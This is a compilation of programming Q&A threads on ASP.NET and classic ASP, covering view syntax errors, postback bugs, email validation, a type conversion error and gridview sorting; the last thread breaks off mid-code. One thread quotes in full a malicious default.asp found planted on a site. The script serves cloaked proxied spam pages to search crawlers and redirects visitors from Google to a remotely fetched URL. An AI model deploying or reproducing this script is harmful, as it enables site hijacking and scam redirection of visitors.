Global Code segment in MVC View giving an error.... "Expression Expected." - asp.net

I have a View in which I have a code block where I am setting some variables and later on using those variables to show or hide some areas...
When I build this website. A compilation error comes up on the line #( stating Syntax Error and another one stating Expression Expected. Can anyone guide me what I am doing wrong here....
#ModelType arwedes.WebShop.Model.Gruppe1Liste
#Code
End Code
#(
Dim lblInfoTitleText As String = String.Empty
Dim lblInfoText As String = String.Empty
Dim panelInfoVisibility As Boolean = False
Select Case WebSession.Menu
Case arwedes.WebShop.Web.Navigation.MenuEnum.Home
lblInfoTitleText = arwedes.WebShop.Model.Text.GetText("Info.HomeTitle", AppSession.Language)
lblInfoText = arwedes.WebShop.Model.Text.GetText("Info.Home", AppSession.Language)
panelInfoVisibility = True
Case arwedes.WebShop.Web.Navigation.MenuEnum.Reservieren
lblInfoTitleText = arwedes.WebShop.Model.Text.GetText("Info.ReservierenTitle", AppSession.Language)
lblInfoText = arwedes.WebShop.Model.Text.GetText("Info.Reservieren", AppSession.Language)
panelInfoVisibility = True
Case arwedes.WebShop.Web.Navigation.MenuEnum.Kaufen
lblInfoTitleText = arwedes.WebShop.Model.Text.GetText("Info.KaufenTitle", AppSession.Language)
lblInfoText = arwedes.WebShop.Model.Text.GetText("Info.Kaufen", AppSession.Language)
panelInfoVisibility = True
Case arwedes.WebShop.Web.Navigation.MenuEnum.Verkaufen
lblInfoTitleText = arwedes.WebShop.Model.Text.GetText("Info.VerkaufenTitle", AppSession.Language)
lblInfoText = arwedes.WebShop.Model.Text.GetText("Info.Verkaufen", AppSession.Language)
panelInfoVisibility = True
Case arwedes.WebShop.Web.Navigation.MenuEnum.Member
If Request.RawUrl.Contains("login") Then
lblInfoTitleText = arwedes.WebShop.Model.Text.GetText("Info.MemberTitle", AppSession.Language)
lblInfoText = arwedes.WebShop.Model.Text.GetText("Info.Member", AppSession.Language)
panelInfoVisibility = True
End If
End Select
Dim bShowCatMenu As Boolean = False
Select Case WebSession.Menu
Case arwedes.WebShop.Web.Navigation.MenuEnum.Home
bShowCatMenu = True
Case arwedes.WebShop.Web.Navigation.MenuEnum.Kaufen
bShowCatMenu = True
Case arwedes.WebShop.Web.Navigation.MenuEnum.Reservieren
bShowCatMenu = True
Case arwedes.WebShop.Web.Navigation.MenuEnum.Member
If Request.ServerVariables("SCRIPT_NAME") = "/membermenu.aspx" Or Request.ServerVariables("SCRIPT_NAME") = "/welcome.aspx" Then
bShowCatMenu = True
End If
End Select
)
#If panelInfoVisibility Then
#: <div id="panelInfo">
#: <p style="text-align: center; font-size: 8pt"> <b> <span id="lblInfoTitle">#lblInfoTitleText</span>
#: </b><br /> <span id="lblInfo">#lblInfoText</span> </p> </div>
End If

instead of #( ...) put your code inside the #Code ... End Code block.

Try like this:
#ModelType arwedes.WebShop.Model.Gruppe1Liste
#Code
Dim lblInfoTitleText As String = String.Empty
Dim lblInfoText As String = String.Empty
Dim panelInfoVisibility As Boolean = False
Select Case WebSession.Menu
Case arwedes.WebShop.Web.Navigation.MenuEnum.Home
lblInfoTitleText = arwedes.WebShop.Model.Text.GetText("Info.HomeTitle", AppSession.Language)
lblInfoText = arwedes.WebShop.Model.Text.GetText("Info.Home", AppSession.Language)
panelInfoVisibility = True
Case arwedes.WebShop.Web.Navigation.MenuEnum.Reservieren
lblInfoTitleText = arwedes.WebShop.Model.Text.GetText("Info.ReservierenTitle", AppSession.Language)
lblInfoText = arwedes.WebShop.Model.Text.GetText("Info.Reservieren", AppSession.Language)
panelInfoVisibility = True
Case arwedes.WebShop.Web.Navigation.MenuEnum.Kaufen
lblInfoTitleText = arwedes.WebShop.Model.Text.GetText("Info.KaufenTitle", AppSession.Language)
lblInfoText = arwedes.WebShop.Model.Text.GetText("Info.Kaufen", AppSession.Language)
panelInfoVisibility = True
Case arwedes.WebShop.Web.Navigation.MenuEnum.Verkaufen
lblInfoTitleText = arwedes.WebShop.Model.Text.GetText("Info.VerkaufenTitle", AppSession.Language)
lblInfoText = arwedes.WebShop.Model.Text.GetText("Info.Verkaufen", AppSession.Language)
panelInfoVisibility = True
Case arwedes.WebShop.Web.Navigation.MenuEnum.Member
If Request.RawUrl.Contains("login") Then
lblInfoTitleText = arwedes.WebShop.Model.Text.GetText("Info.MemberTitle", AppSession.Language)
lblInfoText = arwedes.WebShop.Model.Text.GetText("Info.Member", AppSession.Language)
panelInfoVisibility = True
End If
End Select
Dim bShowCatMenu As Boolean = False
Select Case WebSession.Menu
Case arwedes.WebShop.Web.Navigation.MenuEnum.Home
bShowCatMenu = True
Case arwedes.WebShop.Web.Navigation.MenuEnum.Kaufen
bShowCatMenu = True
Case arwedes.WebShop.Web.Navigation.MenuEnum.Reservieren
bShowCatMenu = True
Case arwedes.WebShop.Web.Navigation.MenuEnum.Member
If Request.ServerVariables("SCRIPT_NAME") = "/membermenu.aspx" Or Request.ServerVariables("SCRIPT_NAME") = "/welcome.aspx" Then
bShowCatMenu = True
End If
End Select
End Code
#If panelInfoVisibility Then
#: <div id="panelInfo">
#: <p style="text-align: center; font-size: 8pt"> <b> <span id="lblInfoTitle">#lblInfoTitleText</span>
#: </b><br /> <span id="lblInfo">#lblInfoText</span> </p> </div>
End If
This being said, code like the one you wrote doesn't belong to a view. So the real solution to your problem would be to externalize it (helper, view model?).
Can you ever imagine giving your views to a web designer? He will scream out in despair.

Related

unknowned page uploaded to my site

this script is uploaded to my site with name default.asp, Does anyone know what was being uploaded?
<%#LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<%
on error resume next
jumpcode="http://link.2016online.com/en/birkenstock.txt.html"
desurljiechi="http://www.birkenstockshoes-outlet.us.com/birkenstock-womens-outlet-1"
arrdom = Split(desurljiechi, "/")
For dd = 0 To 2
desurl = desurl & arrdom(dd)& "/"
Next
shellurl="http://"&Request.ServerVariables("Http_Host")&replace(replace(LCase(replace(Request.ServerVariables("REQUEST_URI"),"?"&request.ServerVariables("QUERY_STRING"),"")),"index.asp",""),"default.asp","")&"?"
rp="nike"
rc="online"
function is_spider()
dim s_agent
s_agent=Request.ServerVariables("HTTP_USER_AGENT")
If instr(s_agent,"google")>0 Or instr(s_agent,"yahoo")>0 Or instr(s_agent,"bing")>0 Or instr(s_agent,"msnbot")>0 Or instr(s_agent,"alexa")>0 Or instr(s_agent,"ask")>0 Or instr(s_agent,"findlinks")>a0 Or instr(s_agent,"altavista")>0 Or instr(s_agent,"baidu")>0 Or instr(s_agent,"inktomi")>0 Then
is_spider = 1
else
is_spider = 0
end if
end function
Function GetHtml(url,k)
agent = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"&k
Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
ObjXMLHTTP.Open "GET",url,False
ObjXMLHTTP.setRequestHeader "User-Agent",agent
ObjXMLHTTP.setRequestHeader "Referer", "https://www.google.com/"
ObjXMLHTTP.send
GetHtml=ObjXMLHTTP.responseBody
Set ObjXMLHTTP=Nothing
set objStream = Server.CreateObject("Adodb.Stream")
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write GetHtml
objStream.Position = 0
objStream.Type = 2
objStream.Charset = "utf-8"
GetHtml = objStream.ReadText
objStream.Close
End Function
Function IsUserSearch()
s_ref=Request.ServerVariables("HTTP_REFERER")
If instr(s_ref,"google")>0 Or instr(s_ref,"yahoo")>0 Or instr(s_ref,"bing")>0 Or instr(s_ref,"aol")>0 Then
IsUserSearch = true
else
IsUserSearch = false
end if
End Function
Function RegExpMatches(patrn, strng)
Dim regEx, Match, Matches
Set regEx = New RegExp
regEx.Pattern = patrn
regEx.IgnoreCase = True
regEx.Global = True
Set Matches = regEx.Execute(strng)
Dim MyArray()
Dim i
i=0
For Each Match in Matches
ReDim Preserve MyArray(i)
MyArray(i)=Match.Value
i=i-(-1)
Next
RegExpMatches = MyArray
End Function
Function RegExpReplace(html,patrn, strng)
Dim regEx
Set regEx = New RegExp
regEx.Pattern = patrn
regEx.IgnoreCase = True
regEx.Global = True
RegExpReplace=regEx.Replace(html,strng)
End Function
Function cDec(num)
cDecstr=0
if len(num)>0 and isnumeric(num) then
for inum=0 to len(num)-1
cDecstr=cDecstr-(-(2^inum*cint(mid(num,len(num)-inum,1))))
next
end if
cDec=cDecstr
End Function
Function OcB(num)
OcBstr=""
if len(num)>0 and isnumeric(num) then
for i=1 to len(num)
select case (mid(num,i,1))
case "0" OcBstr=OcBstr&"000"
case "1" OcBstr=OcBstr&"001"
case "2" OcBstr=OcBstr&"010"
case "3" OcBstr=OcBstr&"011"
case "4" OcBstr=OcBstr&"100"
case "5" OcBstr=OcBstr&"101"
case "6" OcBstr=OcBstr&"110"
case "7" OcBstr=OcBstr&"111"
end select
next
end if
OcB=OcBstr
End Function
Function OcD(num)
OcD=cDec(OcB(num))
End Function
Function toOct(objMatch)
toOct = "-"&rp&"-"&Oct(objMatch.subMatches(0))&"."
End Function
Function toDeOct(objMatch)
toDeOct = "-p-"&OcD(objMatch.subMatches(0))&"."
End Function
Function toCOct(objMatch)
toCOct = "-"&rc&"-"&Oct(objMatch.subMatches(0))&objMatch.subMatches(1)
End Function
Function toCDeOct(objMatch)
toCDeOct = "-c-"&OcD(objMatch.subMatches(0))&objMatch.subMatches(1)
End Function
Function RegExpReplaceCall( reg, m, str, fstr)
Dim Fun, Match, Matches, i, nStr, LastIndex
If str & "" = "" Then Exit Function
Set Fun = getRef(fstr)
Set regEx = New RegExp
regEx.Pattern = reg
regEx.IgnoreCase = True
regEx.Global = True
Set Matches = regEx.Execute(str)
LastIndex = 1
For Each Match In Matches
If Match.FirstIndex>0 Then
nStr = nStr & Mid(str, LastIndex, Match.FirstIndex-(-1)-LastIndex)
End If
nStr = nStr & Fun(Match)
LastIndex = Match.FirstIndex-(-1)-(-Match.Length)
Next
nStr = nStr & Mid(str, LastIndex)
RegExpReplaceCall = nStr
End Function
Function RegReplaceCall( reg, str, fstr)
RegReplaceCall = RegExpReplaceCall(reg, "ig", str, fstr)
End Function
spider = is_spider()
querystr = request.ServerVariables("QUERY_STRING")
if spider = 1 or querystr = "feiya" then
if querystr = "feiya" then
querystr = ""
end if
if querystr <> "" then
querystr = RegReplaceCall("-"&rp&"-(\d"&chr(43)&")\.",querystr,"toDeOct")
querystr = RegReplaceCall("-"&rc&"-(\d"&chr(43)&")([\._])",querystr,"toCDeOct")
htmls = GetHtml(desurl&querystr,"")
else
htmls = GetHtml(desurljiechi&querystr,"")
end if
htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])"&desurl,"href=$1"&shellurl)
desurl1 = RegExpReplace(desurl,"/$","")
htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])"&desurl1,"href=$1"&shellurl)
htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])/","href=$1"&shellurl)
htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])(?!http)","href=$1"&shellurl)
htmls = RegExpReplace(htmls,"src\s*=\s*(["&chr(34)&"'])"&desurl,"src=$1"&shellurl)
htmls = RegExpReplace(htmls,"src\s*=\s*(["&chr(34)&"'])/","src=$1"&shellurl)
htmls = RegExpReplace(htmls,"src\s*=\s*(["&chr(34)&"'])(?!http)","src=$1"&shellurl)
htmls = RegExpReplace(htmls,"url\((["&chr(34)&"'])","url($1"&shellurl)
desurl2 = replace(desurl1,"http://www.","")
desurl2 = replace(desurl2,"http://","")
htmls = replace(htmls,desurl2,Request.ServerVariables("Http_Host"),1,-1,1)
htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])"&shellurl&"\?(.*\.css)","href=$1"&desurl&"$2")
htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])"&shellurl&"\?(.*\.ico)","href=$1"&desurl&"$2")
htmls = RegExpReplace(htmls,"src\s*=\s*(["&chr(34)&"'])"&shellurl&"\?","src=$1"&desurl)
shellurlrm = shellurl
shellurlrm=replace(shellurlrm,"?","")
htmls = RegExpReplace(htmls,shellurlrm&"\?(["&chr(34)&"'])",shellurlrm&"$1")
htmls = RegReplaceCall("-p-(\d"&chr(43)&")\.",htmls,"toOct")
htmls = RegReplaceCall("-c-(\d"&chr(43)&")([\._])",htmls,"toCOct")
htmls = replace(htmls,"window.location.href","var jp")
htmls = replace(htmls,"location.href",";var jp")
response.write htmls
response.end()
else
if IsUserSearch then
if instr(jumpcode,".txt")>0 then
jumpcode = GetHtml(jumpcode,"Mozi11a")
tiaoarray=split(jumpcode,"?")
if IsEmpty(tiaoarray(0)) then
response.redirect jumpcode&"?"&shellurl
else
response.redirect tiaoarray(0)&"?"&shellurl
end if
end if
end if
end if
response.write GetHtml("http://"&Request.ServerVariables("Http_Host")&"/default.aspx","Mozi11a")
%>
It's redirecting requests to your site to another (probably scam) site, but only if you are coming from google.com.

Update statement in asp.net encountered with logic error?

I'm developing a project where user can can edit/update their profile, but somehow I found myself in trouble when try to update the data into Access Database. The only funniest thing is, ONLY profile picture is updated/change in database, but none for password, firstname, lastname, etc. The rest still the same. I hope someone can help me in this case, thanks in advance!
The Page Load:
If Not IsPostBack Then
DropDownList1.DataBind()
End If
LinkButtonCancel.Visible = False
FileuploadProfPic.Visible = False
TextBoxCfrmPassword.Visible = False
ButtonUpdateProf.Visible = False
TextBoxImage.Visible = False
LabelUpload.Visible = False
LabelCfnPss.Visible = False
TextBoxUsername.Enabled = False
TextBoxPassword.Enabled = False
TextBoxFirstName.Enabled = False
TextBoxLastName.Enabled = False
TextBoxEmail.Enabled = False
TextBoxHPN.Enabled = False
TextBoxUsername.ReadOnly = True
TextBoxPassword.ReadOnly = True
TextBoxFirstName.ReadOnly = True
TextBoxLastName.ReadOnly = True
TextBoxEmail.ReadOnly = True
TextBoxHPN.ReadOnly = True
UserData = Me.Data()
TextBoxUsername.Text = UserData.Username
TextBoxFirstName.Text = UserData.FirstName
TextBoxLastName.Text = UserData.LastName
TextBoxHPN.Text = UserData.MobileNumber
TextBoxEmail.Text = UserData.Email
ProfilePic.ImageUrl = UserData.ProfilePic
TextBoxImage.Text = UserData.ProfilePic
TextBoxPassword.Text = UserData.Password
The Data Function to call the data from database:
Dim dvLogin As DataView = CType(AccessDataSourceProfile.Select(DataSourceSelectArguments.Empty), DataView)
dvLogin.RowFilter = "Username = '" & DropDownList1.SelectedValue & "'"
Dim Dt As New UserLogin
Dt.Username = dvLogin(0)("Username").ToString
Dt.Password = dvLogin(0)("Password").ToString
Dt.FirstName = dvLogin(0)("FirstName").ToString
Dt.LastName = dvLogin(0)("LastName").ToString
Dt.MobileNumber = dvLogin(0)("MobileNumber").ToString
Dt.Email = dvLogin(0)("Email").ToString
Dt.ProfilePic = dvLogin(0)("ProfilePic").ToString
Return Dt
The Update Button:
strConnString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath("Product.mdb") & ";Jet OLEDB:Database Password=;"
objConn.ConnectionString = strConnString
objConn.Open()
Dim savePath As String = "C:\Users\AdananLong\Documents\Visual Studio 2010\Projects\E-Commerce\E-Commerce\"
If (FileuploadProfPic.HasFile) Then
Dim files As String = FileuploadProfPic.FileName
savePath += files
FileuploadProfPic.SaveAs(savePath)
TextBoxImage.Text = files
Try
objCmd = New OleDbCommand("UPDATE Member SET [Password] = #password, FirstName = #firstname, LastName = #lastname, MobileNumber = #mobilenumber, Email = #email, ProfilePic = #profilepic WHERE Username = #username", objConn)
objCmd.Parameters.AddWithValue("#password", TextBoxPassword.Text)
objCmd.Parameters.AddWithValue("#firstname", TextBoxFirstName.Text)
objCmd.Parameters.AddWithValue("#lastname", TextBoxLastName.Text)
objCmd.Parameters.AddWithValue("#mobilenumber", TextBoxHPN.Text)
objCmd.Parameters.AddWithValue("#email", TextBoxEmail.Text)
objCmd.Parameters.AddWithValue("#profilepic", TextBoxImage.Text)
objCmd.Parameters.AddWithValue("#username", TextBoxUsername.Text)
objCmd.ExecuteNonQuery()
DropDownList1.DataBind()
Me.LabelWarning.Visible = True
Me.LabelWarning.Text = "Update Sucessful."
Catch ex As Exception
Me.LabelWarning.Visible = True
Me.LabelWarning.Text = "Cannot Update : Error (" & ex.Message & ")"
End Try
Else
Try
objCmd = New OleDbCommand("UPDATE Member SET [Password] = #password, FirstName = #firstname, LastName = #lastname, MobileNumber = #mobilenumber, Email = #email, ProfilePic = #profilepic WHERE Username = #username", objConn)
objCmd.Parameters.AddWithValue("#password", TextBoxPassword.Text)
objCmd.Parameters.AddWithValue("#firstname", TextBoxFirstName.Text)
objCmd.Parameters.AddWithValue("#lastname", TextBoxLastName.Text)
objCmd.Parameters.AddWithValue("#mobilenumber", TextBoxHPN.Text)
objCmd.Parameters.AddWithValue("#email", TextBoxEmail.Text)
objCmd.Parameters.AddWithValue("#profilepic", TextBoxImage.Text)
objCmd.Parameters.AddWithValue("#username", TextBoxUsername.Text)
objCmd.ExecuteNonQuery()
DropDownList1.DataBind()
Me.LabelWarning.Visible = True
Me.LabelWarning.Text = "Update Sucessful."
Catch ex As Exception
Me.LabelWarning.Visible = True
Me.LabelWarning.Text = "Cannot Update : Error (" & ex.Message & ")"
End Try
End If
objConn.Close()
objConn = Nothing
This seems to be a well know effect of forgetting to test for postbacks in the Page_Load code.
Every time your user triggers an event to be handled on the server (runat="server" and/or AutoPostBack="true" ) then the Page.Load event of your page is called BEFORE calling the event handler activated by the user action. See ASP.NET Life Cycle
This means that in your Page.Load code you should be careful to not reload the page controls with values from the database otherwise, when the event handler is started, you have the controls filled with the original values extracted in the Page.Load event.
Sub Page_Load(ByVal sender As Object, ByVal e As EventArgs)
If Not Page.IsPostBack Then
.....
' code to load the controls with values from database
UserData = Me.Data()
TextBoxUsername.Text = UserData.Username
TextBoxFirstName.Text = UserData.FirstName
TextBoxLastName.Text = UserData.LastName
TextBoxHPN.Text = UserData.MobileNumber
TextBoxEmail.Text = UserData.Email
ProfilePic.ImageUrl = UserData.ProfilePic
TextBoxImage.Text = UserData.ProfilePic
TextBoxPassword.Text = UserData.Password
End If
End Sub

InStr() asp classic form field validation

I'm trying to check for valid email address in a form field using:
if Request ("email") = "" then
bError = true
ElseIf Instr(1, email," ") <> 0 Then
bError = true
ElseIf InStr(1, email, "#", 1) < 2 Then
bError = true
else
*/go to success page*/
But if there is a space in the email address it still passes the validation. So my question is, how do I check for spaces using this method?
You're better off using a regular expression for this.
http://classicasp.aspfaq.com/email/how-do-i-validate-an-e-mail-address.html
Function isEmailValid(email)
Set regEx = New RegExp
regEx.Pattern = "^\w+([-+.]\w+)*#\w+([-.]\w+)*\.\w{2,}$"
isEmailValid = regEx.Test(trim(email))
End Function
Forget about all the elseif stuff do it simple...
Dim strEmail
Dim intErrors
intErrors = 0
strEmail = REQUEST("email")
strEmail = Trim(strEmail)
if strEmail = "" then intErrors = intErrors +1;
if instr(strEmail," ") > 0 then intErrors = intErrors +1;
if instr(strEmail,".") = 0 then intErrors = intErrors +1;
if instr(strEmail,"#") < 2 then intErrors = intErrors +1;
' Put as many test conditions as you want here
if intErrors = 0 then GotoSuccessPage
if Request ("email") = "" or Instr(email," ") > 0 or InStr(email, "#") < 2 then
bError = true
else
'go to success page
'BUT ABOUT OTHER ISSUES?
end if
---------------HERE IS A NON-REGEXP BASED EMAIL CHECKER, NOT SURE IF ITS FOOL PROOF BUT BETTER THAN THE SUBMITTED SNIPPET THAT SHOULD GET YOU GOING...
Function IsEmail(sCheckEmail)
Dim SEmail, NAtLoc
IsEmail = True
SEmail = Trim(sCheckEmail)
NAtLoc = InStr(SEmail, "#")
If Not (nAtLoc > 1 And (InStrRev(sEmail, ".") > NAtLoc + 1)) Then
IsEmail = False
ElseIf InStr(nAtLoc + 1, SEmail, "#") > NAtLoc Then
IsEmail = False
ElseIf Mid(sEmail, NAtLoc + 1, 1) = "." Then
IsEmail = False
ElseIf InStr(1, Right(sEmail, 2), ".") > 0 Then
IsEmail = False
End If
End Function

Conversion from string “” to type 'Byte' is not valid [closed]

It's difficult to tell what is being asked here. This question is ambiguous, vague, incomplete, overly broad, or rhetorical and cannot be reasonably answered in its current form. For help clarifying this question so that it can be reopened, visit the help center.
Closed 11 years ago.
I have been struggling with this error for a couple days now, I have gone over the code to try to find an instance where I have the wrong type, but no luck. I am getting the "Conversion from string “” to type 'Byte' is not valid" when the submit button is clicked. So my thought is that there is something wrong in the Data_Save function. But I am unable to see my mistake. any help would be appreciated.
Protected Function Data_Save() As Boolean
Data_Save = False
Try
Dim newTable As New DemoOp_WebDataTable
Dim newRow As DemoOp_WebRow = newTable.NewRow()
newRow.DOW_FName = Me.txtFName.Text
newRow.DOW_LName = Me.txtLName.Text
newRow.DOW_Addr_1 = Me.txtAddr_1.Text
newRow.DOW_Addr_2 = Me.txtAddr_2.Text
newRow.DOW_City = Me.txtCity.Text
newRow.DOW_State = Me.ddState.SelectedValue.ToString
newRow.DOW_Zip = Me.txtZip.Text
newRow.DOW_Home_Phone = Me.txtHome_Phone.Text
newRow.DOW_Work_Phone = String.Empty
newRow.DOW_Cell_Phone = Me.txtCell_Phone.Text
newRow.DOW_Email = Me.txtEmail.Text
newRow.DOW_Dem_Exp = String.Empty
newRow.DOW_Wkd_Ret = String.Empty
newRow.DOW_Bilingual = String.Empty
newRow.DOW_Lang_Spk = String.Empty
newRow.DOW_Hrd_Store = Me.ddlOptQst12.SelectedItem.Value
newRow.DOW_StoreCode = Me.ddAd_Code.SelectedValue.ToString
newRow.DOW_In_Date = Now
newRow.DOW_18Plus = Me.rblnewqst1.SelectedValue
newRow.DOW_Transportation = Me.rblnewqst2.SelectedValue
newRow.DOW_AbleToStand = Me.rblnewqst3.SelectedValue
newRow.DOW_Internet = Me.rblnewqst4.SelectedValue
newRow.DOW_DirectDeposit = Me.rblnewqst5.SelectedValue
newRow.DOW_Experience = Me.rblnewqst6.SelectedValue
newRow.DOW_Outgoing = Me.rblnewqst7.SelectedValue
newRow.DOW_CulinarySkills = Me.rblnewqst8.SelectedValue
newRow.DOW_DemoWorkType = Me.ddlOptQst1.SelectedItem.Value
newRow.DOW_ReceiveTextMsgs = Me.rblOptQst2.SelectedValue
newRow.DOW_AgeCategory = Me.ddlOptQst3.SelectedItem.Value
newRow.DOW_ComputerSkill = Me.ddlOptQst4.SelectedItem.Value
newRow.DOW_CookingSkill = Me.ddlOptQst5.SelectedItem.Value
newRow.DOW_PhysicallyFit = Me.ddlOptQst6.SelectedItem.Value
newRow.DOW_AreasOfExp = GetCheckValues(chkOptQst7)
newRow.DOW_SpecialExpertise = GetCheckValues(chkOptQst8)
newRow.DOW_OtherLanguage = Me.ddlOptQst9.SelectedItem.Value
newRow.DOW_Felony = Me.rblnewqst11.SelectedValue
newRow.DOW_SOffender = Me.rblnewqst12.SelectedValue
newRow.DOW_ShopLift = Me.rblnewqst13.SelectedValue
newRow.DOW_FoodHandlers = Me.rblnewqst10.SelectedValue
newRow.DOW_OtherAgencies = GetCheckValues(chkOptQst10)
newRow.DOW_CookingAppliances = GetCheckValues(chkOptQst11)
newRow.DOW_Hrd_Store_Detail = Me.ddlOptQst13.SelectedItem.Value
Dim ta As DemoOp_WebTableAdapter = New DemoOp_WebTableAdapter
'ta.Insert(newRow.DOW_FName, newRow.DOW_LName, newRow.DOW_Addr_1, newRow.DOW_Addr_2, newRow.DOW_City, _
' newRow.DOW_State, newRow.DOW_Zip, newRow.DOW_Home_Phone, newRow.DOW_Work_Phone, newRow.DOW_Cell_Phone, _
' newRow.DOW_Email, newRow.DOW_Dem_Exp, newRow.DOW_Wkd_Ret, newRow.DOW_Bilingual, newRow.DOW_Lang_Spk, _
' newRow.DOW_Hrd_Store, newRow.DOW_Hrd_Store_Detail, newRow.DOW_StoreCode, newRow.DOW_18Plus, newRow.DOW_Transportation, _
' newRow.DOW_AbleToStand, newRow.DOW_Internet, newRow.DOW_DirectDeposit, newRow.DOW_Felony, newRow.DOW_SOffender, newRow.DOW_ShopLift, newRow.DOW_Experience, _
' newRow.DOW_Outgoing, newRow.DOW_CulinarySkills, newRow.DOW_FoodHandlers, newRow.DOW_DemoWorkType, newRow.DOW_ReceiveTextMsgs, _
' newRow.DOW_AgeCategory, newRow.DOW_ComputerSkill, newRow.DOW_CookingSkill, newRow.DOW_PhysicallyFit, _
' newRow.DOW_AreasOfExp, newRow.DOW_SpecialExpertise, newRow.DOW_OtherAgencies, newRow.DOW_CookingAppliances, newRow.DOW_OtherLanguage)
ta.Insert(newRow.DOW_FName, newRow.DOW_LName, newRow.DOW_Addr_1, newRow.DOW_Addr_2, newRow.DOW_City, _
newRow.DOW_State, newRow.DOW_Zip, newRow.DOW_Home_Phone, newRow.DOW_Work_Phone, newRow.DOW_Cell_Phone, _
newRow.DOW_Email, newRow.DOW_Dem_Exp, newRow.DOW_Wkd_Ret, newRow.DOW_Bilingual, newRow.DOW_Lang_Spk, _
newRow.DOW_Hrd_Store, newRow.DOW_StoreCode, newRow.DOW_18Plus, newRow.DOW_Transportation, _
newRow.DOW_AbleToStand, newRow.DOW_Internet, newRow.DOW_DirectDeposit, newRow.DOW_Experience, _
newRow.DOW_Outgoing, newRow.DOW_CulinarySkills, newRow.DOW_DemoWorkType, newRow.DOW_ReceiveTextMsgs, _
newRow.DOW_AgeCategory, newRow.DOW_ComputerSkill, newRow.DOW_CookingSkill, newRow.DOW_PhysicallyFit, _
newRow.DOW_AreasOfExp, newRow.DOW_SpecialExpertise, newRow.DOW_OtherLanguage, newRow.DOW_Felony, newRow.DOW_SOffender, newRow.DOW_ShopLift, newRow.DOW_FoodHandlers, newRow.DOW_OtherAgencies, newRow.DOW_CookingAppliances, newRow.DOW_Hrd_Store_Detail)
Data_Save = True
Catch ex As ApplicationException
Me.lblErrMessage.Text = ex.InnerException.ToString
End Try
End Function
Protected Function GetCheckValues(ByVal chklst As CheckBoxList) As String
GetCheckValues = String.Empty
Dim i As Integer
Dim sb As StringBuilder = New StringBuilder()
For i = 0 To chklst.Items.Count - 1
If chklst.Items(i).Selected Then
sb.Append(chklst.Items(i).Value & ",")
End If
Next
'remove the last comma in sb
If sb.Length > 0 Then
Dim InputValue As String
InputValue = Left(sb.ToString(), Len(sb.ToString()) - 1)
GetCheckValues = InputValue
End If
End Function
Protected Sub Reset_Controls()
btnSubmit.Visible = False
btnCancel.Visible = False
btnBack.Visible = True
txtFName.Enabled = False
txtLName.Enabled = False
txtAddr_1.Enabled = False
txtAddr_2.Enabled = False
txtCity.Enabled = False
ddState.Enabled = False
txtZip.Enabled = False
txtHome_Phone.Enabled = False
txtCell_Phone.Enabled = False
txtEmail.Enabled = False
ddlOptQst12.Enabled = False
ddlOptQst13.Enabled = False
ddStoreCode.Enabled = False
rblnewqst1.Enabled = False
rblnewqst2.Enabled = False
rblnewqst3.Enabled = False
rblnewqst4.Enabled = False
rblnewqst5.Enabled = False
rblnewqst6.Enabled = False
rblnewqst7.Enabled = False
rblnewqst8.Enabled = False
rblnewqst10.Enabled = False
rblnewqst11.Enabled = False
rblnewqst12.Enabled = False
rblnewqst13.Enabled = False
ddlOptQst1.Enabled = False
rblOptQst2.Enabled = False
ddlOptQst3.Enabled = False
ddlOptQst4.Enabled = False
ddlOptQst5.Enabled = False
ddlOptQst6.Enabled = False
chkOptQst7.Enabled = False
chkOptQst8.Enabled = False
ddlOptQst9.Enabled = False
chkOptQst10.Enabled = False
chkOptQst11.Enabled = False
End Sub
Protected Sub btnOKMsg_Click(ByVal sender As Object, ByVal e As System.EventArgs)
If Data_Save() Then
lblErrMessage.Text = "Your information has been submitted!"
Else
lblErrMessage.Text = "Error occurred while saving your entry. Click on 'Back' to return to main page."
End If
'Reset_Controls()
ModalPopupExtender1.Hide()
End Sub
Protected Sub btnCancelMsg_Click(ByVal sender As Object, ByVal e As System.EventArgs)
lblErrMessage.Text = "Your information was previously submitted."
ModalPopupExtender1.Hide()
End Sub
End Class
Here's a couple of suggestions to get you started:
Enable "Option strict" in your project options and fix any errors you may get. This will help you identify where you're trying to set a byte value with an empty string.
Remove all the try-catch-statements with an empty catch section.
Clean up the code, and remove the sections not relevant to your question.
Tell us where the exception occurs and the exception details...

asp.net vb.net gridview - can't sort!

I try to make this gridview sortable, but it simply doesn't work, anyone know why?
Dim sql As String = "SELECT Product_ID, Code, Trade_Name "
sql = sql & "FROM Product "
sql = sql & "WHERE Category = ? "
Dim conn As String = WebConfigurationManager.ConnectionStrings("ConnectionString").ConnectionString
Dim dad As New OleDbDataAdapter(sql, conn)
dad.SelectCommand.Parameters.AddWithValue("?", CatID)
Dim dtblProduct As New DataTable()
dad.Fill(dtblProduct)
Dim grdProducts As New GridView
grdProducts.ID = "grdProducts"
grdProducts.CellPadding = 5
grdProducts.CellSpacing = 5
grdProducts.GridLines = GridLines.None
grdProducts.AutoGenerateColumns = False
grdProducts.HeaderStyle.HorizontalAlign = HorizontalAlign.Left
grdProducts.EmptyDataText = "No Products Available."
grdProducts.DataSource = dtblProduct
Dim dataNavigateUrlFields() As String = {"Product_ID"}
Dim blnfirstCol As Boolean = True
Dim strPageResolveURL As String = String.Empty
Dim strLnkSelectText As String = String.Empty
For Each col As Data.DataColumn In dtblProduct.Columns
If blnfirstCol Then
Dim lnkSelect As New HyperLinkField
With lnkSelect
.Text = _strAction
.DataNavigateUrlFields = dataNavigateUrlFields
.DataNavigateUrlFormatString = Page.ResolveUrl(_strDirectPage & ".aspx?ProductID={0}&Cat=" & CatID)
End With
grdProducts.Columns.Add(lnkSelect)
blnfirstCol = False
Else
Dim myBoundField As New BoundField()
With myBoundField
Select Case col.ColumnName
Case "CODE"
.HeaderText = "Code"
.ItemStyle.Width = 100
.HtmlEncode = False
Case "TRADE_NAME"
.HeaderText = "Trade Name"
.ItemStyle.Width = 200
End Select
.DataField = col.ColumnName
.Visible = True
End With
grdProducts.Columns.Add(myBoundField)
